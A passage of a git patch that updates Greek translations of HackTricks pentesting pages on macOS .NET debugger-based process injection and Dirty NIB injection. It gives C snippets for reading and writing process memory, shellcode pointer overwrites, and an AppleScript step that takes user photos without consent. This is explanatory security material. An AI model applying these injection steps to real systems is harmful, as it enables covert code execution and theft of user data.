From 039c933a3d38d185222b4ffa54a0c202ddf8b764 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 19 Jul 2024 05:34:02 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-.net-applications-injection.md | 78 ++--- .../macos-proces-abuse/macos-dirty-nib.md | 91 ++++-- .../macos-thread-injection-via-task-port.md | 157 +++++---- .../README.md | 96 +++--- .../macos-java-apps-injection.md | 65 ++-- ...yld-hijacking-and-dyld_insert_libraries.md | 64 ++-- .../macos-ruby-applications-injection.md | 44 +-- .../macos-xattr-acls-extra-stuff.md | 150 ++++++--- .../macos-sandbox/README.md | 183 ++++------- .../macos-default-sandbox-debug.md | 64 ++-- .../macos-office-sandbox-bypasses.md | 81 +++-- .../macos-tcc-bypasses/macos-apple-scripts.md | 48 +-- .../macos-tcc/macos-tcc-payloads.md | 177 ++++------ misc/references.md | 34 +- .../android-app-pentesting/adb-commands.md | 155 ++++----- .../android-applications-basics.md | 308 ++++++++++-------- .../android-app-pentesting/apk-decompilers.md | 79 +++-- .../content-protocol.md | 67 ++-- .../exploiting-a-debuggeable-applciation.md | 123 +++++-- .../frida-tutorial/README.md | 208 +++--------- .../intent-injection.md | 52 +-- .../make-apk-accept-ca-certificate.md | 57 ++-- .../manual-deobfuscation.md | 56 ++-- .../react-native-application.md | 60 ++-- .../android-app-pentesting/smali-changes.md | 130 +++----- .../spoofing-your-location-in-play-store.md | 55 ++-- .../android-app-pentesting/tapjacking.md | 70 ++-- mobile-pentesting/cordova-apps.md | 64 ++-- .../basic-ios-testing-operations.md | 126 +++---- ...-entitlements-from-compiled-application.md | 58 ++-- .../ios-pentesting/ios-app-extensions.md | 83 +++-- .../ios-pentesting/ios-basics.md | 127 ++++---- ...m-uri-handlers-deeplinks-custom-schemes.md | 62 ++-- .../ios-hooking-with-objection.md | 73 +++-- .../ios-pentesting/ios-protocol-handlers.md | 55 ++-- .../ios-serialisation-and-encoding.md | 65 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 86 ++--- .../ios-pentesting/ios-uipasteboard.md | 78 ++--- .../ios-pentesting/ios-universal-links.md | 68 ++-- .../ios-pentesting/ios-webviews.md | 141 ++++---- mobile-pentesting/xamarin-apps.md | 72 ++-- ...0-network-data-management-protocol-ndmp.md | 42 +-- .../1080-pentesting-socks.md | 108 ++---- .../137-138-139-pentesting-netbios.md | 68 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 54 +-- .../3128-pentesting-squid.md | 60 ++-- .../3260-pentesting-iscsi.md | 88 +++-- .../3299-pentesting-saprouter.md | 68 ++-- .../3632-pentesting-distcc.md | 47 ++- .../3690-pentesting-subversion-svn-server.md | 58 ++-- ...ntesting-erlang-port-mapper-daemon-epmd.md | 62 ++-- .../44134-pentesting-tiller-helm.md | 57 ++-- .../44818-ethernetip.md | 40 +-- .../47808-udp-bacnet.md | 44 +-- .../4840-pentesting-opc-ua.md | 54 +-- .../49-pentesting-tacacs+.md | 68 ++-- .../5000-pentesting-docker-registry.md | 149 ++++----- ...060-50070-50075-50090-pentesting-hadoop.md | 49 +-- .../512-pentesting-rexec.md | 44 +-- .../515-pentesting-line-printer-daemon-lpd.md | 44 +-- .../5353-udp-multicast-dns-mdns.md | 63 ++-- .../5555-android-debug-bridge.md | 54 +-- .../5601-pentesting-kibana.md | 58 ++-- .../5671-5672-pentesting-amqp.md | 84 ++--- .../584-pentesting-afp.md | 54 +-- .../5984-pentesting-couchdb.md | 158 +++++---- network-services-pentesting/623-udp-ipmi.md | 108 +++--- network-services-pentesting/69-udp-tftp.md | 50 +-- .../7-tcp-udp-pentesting-echo.md | 53 +-- .../873-pentesting-rsync.md | 73 +++-- .../9000-pentesting-fastcgi.md | 45 +-- .../9001-pentesting-hsqldb.md | 78 ++--- network-services-pentesting/9100-pjl.md | 54 ++- network-services-pentesting/cassandra.md | 52 +-- .../pentesting-264-check-point-firewall-1.md | 46 +-- ...ting-631-internet-printing-protocol-ipp.md | 42 +-- .../pentesting-compaq-hp-insight-manager.md | 34 +- .../pentesting-finger.md | 82 ++--- ...entesting-jdwp-java-debug-wire-protocol.md | 82 ++--- .../pentesting-modbus.md | 58 ++-- .../pentesting-rlogin.md | 48 +-- network-services-pentesting/pentesting-rsh.md | 48 +-- 82 files changed, 3327 insertions(+), 3211 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index be3e5b9f7..e30cc6e78 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# Εισαγωγή σε εφαρμογές .Net στο macOS +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Αυτό είναι ένα σύνοψη του άρθρου [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Ελέγξτε το για περισσότερες λεπτομέρειες!** +**Αυτή είναι μια περίληψη της ανάρτησης [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Ελέγξτε την για περισσότερες λεπτομέρειες!** -## Αποσφαλμάτωση .NET Core +## .NET Core Debugging -### **Δημιουργία μιας συνεδρίας αποσφαλμάτωσης** +### **Establishing a Debugging Session** -Η διαχείριση της επικοινωνίας μεταξύ αποσφαλματωτή και αποσφαλματούμενου στο .NET γίνεται από το [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Αυτό το στοιχείο δημιουργεί δύο ονομασμένα αγωγούς ανά .NET διεργασία, όπως φαίνεται στο [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), οι οποίοι εκκινούν μέσω του [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Αυτοί οι αγωγοί έχουν ως επίθεμα τα **`-in`** και **`-out`**. +Η διαχείριση της επικοινωνίας μεταξύ του debugger και του debuggee στο .NET γίνεται από το [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Αυτό το συστατικό ρυθμίζει δύο ονομαστικούς σωλήνες ανά διαδικασία .NET όπως φαίνεται στο [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), οι οποίοι ξεκινούν μέσω του [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Αυτοί οι σωλήνες έχουν το επίθημα **`-in`** και **`-out`**. -Επισκεπτόμενοι το **`$TMPDIR`** του χρήστη, μπορεί κανείς να βρει τους αγωγούς αποσφαλμάτωσης που είναι διαθέσιμοι για την αποσφαλμάτωση εφαρμογών .Net. +Επισκεπτόμενος το **`$TMPDIR`** του χρήστη, μπορεί κανείς να βρει διαθέσιμα FIFOs αποσφαλμάτωσης για εφαρμογές .Net. -Ο [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) είναι υπεύθυνος για τη διαχείριση της επικοινωνίας από έναν αποσφαλματωτή. Για να ξεκινήσει μια νέα συνεδρία αποσφαλμάτωσης, ένας αποσφαλματωτής πρέπει να στείλει ένα μήνυμα μέσω του αγωγού `out` που ξεκινά με μια δομή `MessageHeader`, η οποία περιγράφεται λεπτομερώς στον πηγαίο κώδικα του .NET: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) είναι υπεύθυνος για τη διαχείριση της επικοινωνίας από έναν debugger. Για να ξεκινήσει μια νέα συνεδρία αποσφαλμάτωσης, ένας debugger πρέπει να στείλει ένα μήνυμα μέσω του σωλήνα `out` που ξεκινά με μια δομή `MessageHeader`, λεπτομερώς στον πηγαίο κώδικα .NET: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Για να ζητηθεί μια νέα συνεδρία, αυτή η δομή συμπληρώνεται ως εξής, ορίζοντας τον τύπο μηνύματος σε `MT_SessionRequest` και την έκδοση πρωτοκόλλου στην τρέχουσα έκδοση: +Για να ζητήσετε μια νέα συνεδρία, αυτή η δομή συμπληρώνεται ως εξής, ορίζοντας τον τύπο μηνύματος σε `MT_SessionRequest` και την έκδοση πρωτοκόλλου στην τρέχουσα έκδοση: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Αυτή η κεφαλίδα στέλνεται στον στόχο χρησιμοποιώντας την κλήση συστήματος `write`, ακολουθούμενη από τη δομή `sessionRequestData` που περιέχει ένα GUID για τη συνεδρία: +Αυτή η κεφαλίδα αποστέλλεται στη συνέχεια στον στόχο χρησιμοποιώντας την κλήση συστήματος `write`, ακολουθούμενη από τη δομή `sessionRequestData` που περιέχει ένα GUID για τη συνεδρία: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Μια λειτουργία ανάγνωσης στο αγωγό `out` επιβεβαιώνει την επιτυχία ή την αποτυχία της διαδικασίας αποσφαλμάτωσης: +Μια λειτουργία ανάγνωσης στον σωλήνα `out` επιβεβαιώνει την επιτυχία ή αποτυχία της εγκατάστασης της συνεδρίας αποσφαλμάτωσης: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Ανάγνωση Μνήμης -Μόλις έχει δημιουργηθεί μια συνεδρία αποσφαλμάτωσης, η μνήμη μπορεί να διαβαστεί χρησιμοποιώντας τον τύπο μηνύματος [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Η συνάρτηση readMemory είναι λεπτομερής, εκτελώντας τα απαραίτητα βήματα για να στείλει ένα αίτημα ανάγνωσης και να ανακτήσει την απόκριση: +## Reading Memory +Μόλις καθοριστεί μια συνεδρία αποσφαλμάτωσης, η μνήμη μπορεί να διαβαστεί χρησιμοποιώντας τον τύπο μηνύματος [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Η συνάρτηση readMemory είναι λεπτομερής, εκτελώντας τα απαραίτητα βήματα για να στείλει ένα αίτημα ανάγνωσης και να ανακτήσει την απάντηση: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -Η πλήρης απόδειξη του concept (POC) είναι διαθέσιμη [εδώ](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +The complete proof of concept (POC) is available [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Εγγραφή Μνήμης +## Writing Memory -Αντίστοιχα, η μνήμη μπορεί να εγγραφεί χρησιμοποιώντας τη συνάρτηση `writeMemory`. Η διαδικασία περιλαμβάνει την ρύθμιση του τύπου μηνύματος σε `MT_WriteMemory`, τον καθορισμό της διεύθυνσης και του μήκους των δεδομένων, και στη συνέχεια την αποστολή των δεδομένων: +Ομοίως, η μνήμη μπορεί να γραφτεί χρησιμοποιώντας τη συνάρτηση `writeMemory`. Η διαδικασία περιλαμβάνει την ρύθμιση του τύπου μηνύματος σε `MT_WriteMemory`, καθορίζοντας τη διεύθυνση και το μήκος των δεδομένων, και στη συνέχεια στέλνοντας τα δεδομένα: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -Το σχετικό POC είναι διαθέσιμο [εδώ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). +Η σχετική POC είναι διαθέσιμη [εδώ](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## Εκτέλεση κώδικα .NET Core +## .NET Core Εκτέλεση Κώδικα -Για να εκτελέσετε κώδικα, πρέπει να εντοπίσετε μια περιοχή μνήμης με δικαιώματα rwx, το οποίο μπορεί να γίνει χρησιμοποιώντας την εντολή vmmap -pages: +Για να εκτελέσετε κώδικα, πρέπει να εντοπίσετε μια περιοχή μνήμης με άδειες rwx, κάτι που μπορεί να γίνει χρησιμοποιώντας vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Είναι απαραίτητο να εντοπιστεί ένα σημείο για την αντικατάσταση ενός δείκτη συνάρτησης, και στο .NET Core αυτό μπορεί να γίνει στο **Dynamic Function Table (DFT)**. Αυτός ο πίνακας, που περιγράφεται στο [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), χρησιμοποιείται από το runtime για τις βοηθητικές συναρτήσεις JIT μεταγλώττισης. +Είναι απαραίτητο να εντοπιστεί μια τοποθεσία για να αντικατασταθεί ένας δείκτης συνάρτησης και στο .NET Core, αυτό μπορεί να γίνει στοχεύοντας τον **Dynamic Function Table (DFT)**. Αυτός ο πίνακας, που περιγράφεται στο [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), χρησιμοποιείται από το runtime για τις βοηθητικές συναρτήσεις JIT compilation. -Για συστήματα x64, μπορεί να χρησιμοποιηθεί η τεχνική του signature hunting για να βρεθεί μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`. +Για συστήματα x64, η αναζήτηση υπογραφών μπορεί να χρησιμοποιηθεί για να βρεθεί μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`. -Η συνάρτηση αποσφαλμάτωσης `MT_GetDCB` παρέχει χρήσιμες πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης μιας βοηθητικής συνάρτησης, `m_helperRemoteStartAddr`, που υποδεικνύει την τοποθεσία του `libcorclr.dll` στη μνήμη της διεργασίας. Αυτή η διεύθυνση χρησιμοποιείται στη συνέχεια για να ξεκινήσει η αναζήτηση του DFT και η αντικατάσταση ενός δείκτη συνάρτησης με τη διεύθυνση του shellcode. +Η συνάρτηση debugger `MT_GetDCB` παρέχει χρήσιμες πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης μιας βοηθητικής συνάρτησης, `m_helperRemoteStartAddr`, που υποδεικνύει την τοποθεσία του `libcorclr.dll` στη μνήμη της διαδικασίας. Αυτή η διεύθυνση χρησιμοποιείται στη συνέχεια για να ξεκινήσει μια αναζήτηση για τον DFT και να αντικατασταθεί ένας δείκτης συνάρτησης με τη διεύθυνση του shellcode. -Ο πλήρης κώδικας POC για ενσωμάτωση στο PowerShell είναι προσβάσιμος [εδώ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +Ο πλήρης κωδικός POC για την ένεση στο PowerShell είναι προσβάσιμος [εδώ](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). ## Αναφορές * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index e4c490712..d8960b793 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,36 +1,37 @@ # macOS Dirty NIB +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι υποστήριξης του HackTricks: - -* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Για περισσότερες λεπτομέρειες σχετικά με την τεχνική, ελέγξτε την αρχική ανάρτηση από: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Εδώ υπάρχει ένα σύνοψη: +**Για περισσότερες λεπτομέρειες σχετικά με την τεχνική, ελέγξτε την αρχική ανάρτηση από: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ακολουθεί μια περίληψη: -Τα αρχεία NIB, που ανήκουν στο αναπτυξιακό οικοσύστημα της Apple, προορίζονται για τον καθορισμό των **στοιχείων του χρήστικού περιβάλλοντος** και των αλληλεπιδράσεών τους στις εφαρμογές. Περιλαμβάνουν αντικείμενα που έχουν σειριοποιηθεί, όπως παράθυρα και κουμπιά, και φορτώνονται κατά την εκτέλεση. Παρά τη συνεχή χρήση τους, η Apple προτείνει πλέον τα Storyboards για μια πιο ολοκληρωμένη οπτικοποίηση της ροής του χρήστη. +Τα αρχεία NIB, μέρος του οικοσυστήματος ανάπτυξης της Apple, προορίζονται για τον καθορισμό **στοιχείων UI** και των αλληλεπιδράσεών τους σε εφαρμογές. Περιλαμβάνουν σειριοποιημένα αντικείμενα όπως παράθυρα και κουμπιά, και φορτώνονται κατά την εκτέλεση. Παρά τη συνεχιζόμενη χρήση τους, η Apple τώρα προτείνει τα Storyboards για πιο ολοκληρωμένη οπτικοποίηση ροής UI. -### Ανησυχίες ασφαλείας με τα αρχεία NIB -Είναι σημαντικό να σημειωθεί ότι τα αρχεία NIB μπορούν να αποτελέσουν κίνδυνο για την ασφάλεια. Έχουν τη δυνατότητα να **εκτελέσουν αυθαίρετες εντολές**, και οι αλλαγές στα αρχεία NIB μέσα σε μια εφαρμογή δεν εμποδίζουν τον Gatekeeper από την εκτέλεση της εφαρμογής, δημιουργώντας ένα σημαντικό απειλητικό περιβάλλον. +### Ανησυχίες Ασφαλείας με τα Αρχεία NIB +Είναι κρίσιμο να σημειωθεί ότι **τα αρχεία NIB μπορεί να είναι κίνδυνος ασφαλείας**. Έχουν τη δυνατότητα να **εκτελούν αυθαίρετες εντολές**, και οι τροποποιήσεις στα αρχεία NIB εντός μιας εφαρμογής δεν εμποδίζουν τον Gatekeeper από την εκτέλεση της εφαρμογής, θέτοντας μια σημαντική απειλή. -### Διαδικασία Dirty NIB Injection -#### Δημιουργία και Ρύθμιση ενός αρχείου NIB -1. **Αρχική ρύθμιση**: +### Διαδικασία Εισαγωγής Dirty NIB +#### Δημιουργία και Ρύθμιση ενός Αρχείου NIB +1. **Αρχική Ρύθμιση**: - Δημιουργήστε ένα νέο αρχείο NIB χρησιμοποιώντας το XCode. -- Προσθέστε ένα αντικείμενο στη διεπαφή, ορίζοντας την κλάση του σε `NSAppleScript`. -- Διαμορφώστε την αρχική ιδιότητα `source` μέσω των Ορισμένων Χρονικών Χαρακτηριστικών Εκτέλεσης του Χρήστη. +- Προσθέστε ένα Αντικείμενο στη διεπαφή, ρυθμίζοντας την κλάση του σε `NSAppleScript`. +- Ρυθμίστε την αρχική ιδιότητα `source` μέσω των Χαρακτηριστικών Χρόνου Εκτέλεσης που Ορίζονται από τον Χρήστη. -2. **Κωδικός εκτέλεσης**: -- Η ρύθμιση διευκολύνει την εκτέλεση του AppleScript κατά παραγγελία. -- Ενσωματώστε ένα κουμπί για να ενεργοποιήσετε το αντικείμενο `Apple Script`, ενεργοποιώντας ειδικά τον επιλογέα `executeAndReturnError:`. +2. **Gadget Εκτέλεσης Κώδικα**: +- Η ρύθμιση διευκολύνει την εκτέλεση AppleScript κατόπιν αιτήματος. +- Ενσωματώστε ένα κουμπί για να ενεργοποιήσετε το αντικείμενο `Apple Script`, ενεργοποιώντας συγκεκριμένα τον επιλεγέα `executeAndReturnError:`. 3. **Δοκιμή**: - Ένα απλό Apple Script για δοκιμαστικούς σκοπούς: @@ -38,18 +39,50 @@ set theDialogText to "PWND" display dialog theDialogText ``` -- Δοκιμάστε το τρέχοντα στον αποσφαλματωτή του XCode και κάντε κλικ στο κουμπί. +- Δοκιμάστε τρέχοντας στον αποσφαλματωτή XCode και κάνοντας κλικ στο κουμπί. -#### Στόχευση μιας εφαρμογής (παράδειγμα: Pages) +#### Στοχοποίηση μιας Εφαρμογής (Παράδειγμα: Pages) 1. **Προετοιμασία**: -- Αντιγράψτε την επιθυμητή εφαρμογή (π.χ., Pages) σε έναν ξεχωριστό κατάλογο (π.χ., `/tmp/`). -- Εκκινήστε την εφαρμογή για να αποφύγετε προβλήματα με τον Gatekeeper και να την κρατήσετε στην προσωρινή μνήμη. +- Αντιγράψτε την στοχοθετημένη εφαρμογή (π.χ., Pages) σε έναν ξεχωριστό φάκελο (π.χ., `/tmp/`). +- Ξεκινήστε την εφαρμογή για να παρακάμψετε τα προβλήματα του Gatekeeper και να την αποθηκεύσετε στην κρυφή μνήμη. -2. **Αντικατάσταση αρχείου NIB**: -- Αντικαταστήστε ένα υπάρχον αρχείο NIB (π.χ., About Panel NIB) με το δημιουργημένο αρχείο DirtyNIB. +2. **Αντικατάσταση Αρχείου NIB**: +- Αντικαταστήστε ένα υπάρχον αρχείο NIB (π.χ., About Panel NIB) με το κατασκευασμένο αρχείο DirtyNIB. 3. **Εκτέλεση**: -- Ενεργοποιήστε την εκτέλεση αλληλεπίδρασης με την εφαρμογή (π.χ., επιλέγοντας το στοιχείο μενού `About`). +- Ενεργοποιήστε την εκτέλεση αλληλεπιδρώντας με την εφαρμογή (π.χ., επιλέγοντας το στοιχείο μενού `About`). -#### Απόδειξη Έννοιας: Πρόσβαση σε Δεδομένα Χρήστη -- Τροποποιήστε το AppleScript για να αποκτήσετε πρόσβαση και να εξαγάγετε δεδομένα χρήστη, όπ +#### Απόδειξη της Έννοιας: Πρόσβαση σε Δεδομένα Χρήστη +- Τροποποιήστε το AppleScript για να αποκτήσετε πρόσβαση και να εξάγετε δεδομένα χρήστη, όπως φωτογραφίες, χωρίς τη συγκατάθεση του χρήστη. + +### Δείγμα Κώδικα: Κακόβουλο Αρχείο .xib +- Αποκτήστε πρόσβαση και ελέγξτε ένα [**δείγμα κακόβουλου αρχείου .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) που δείχνει την εκτέλεση αυθαίρετου κώδικα. + +### Αντιμετώπιση Περιορισμών Εκκίνησης +- Οι Περιορισμοί Εκκίνησης εμποδίζουν την εκτέλεση εφαρμογών από απροσδόκητες τοποθεσίες (π.χ., `/tmp`). +- Είναι δυνατόν να εντοπιστούν εφαρμογές που δεν προστατεύονται από Περιορισμούς Εκκίνησης και να στοχοποιηθούν για εισαγωγή αρχείου NIB. + +### Πρόσθετες Προστασίες macOS +Από το macOS Sonoma και μετά, οι τροποποιήσεις μέσα σε πακέτα εφαρμογών είναι περιορισμένες. Ωστόσο, οι προηγούμενες μέθοδοι περιλάμβαναν: +1. 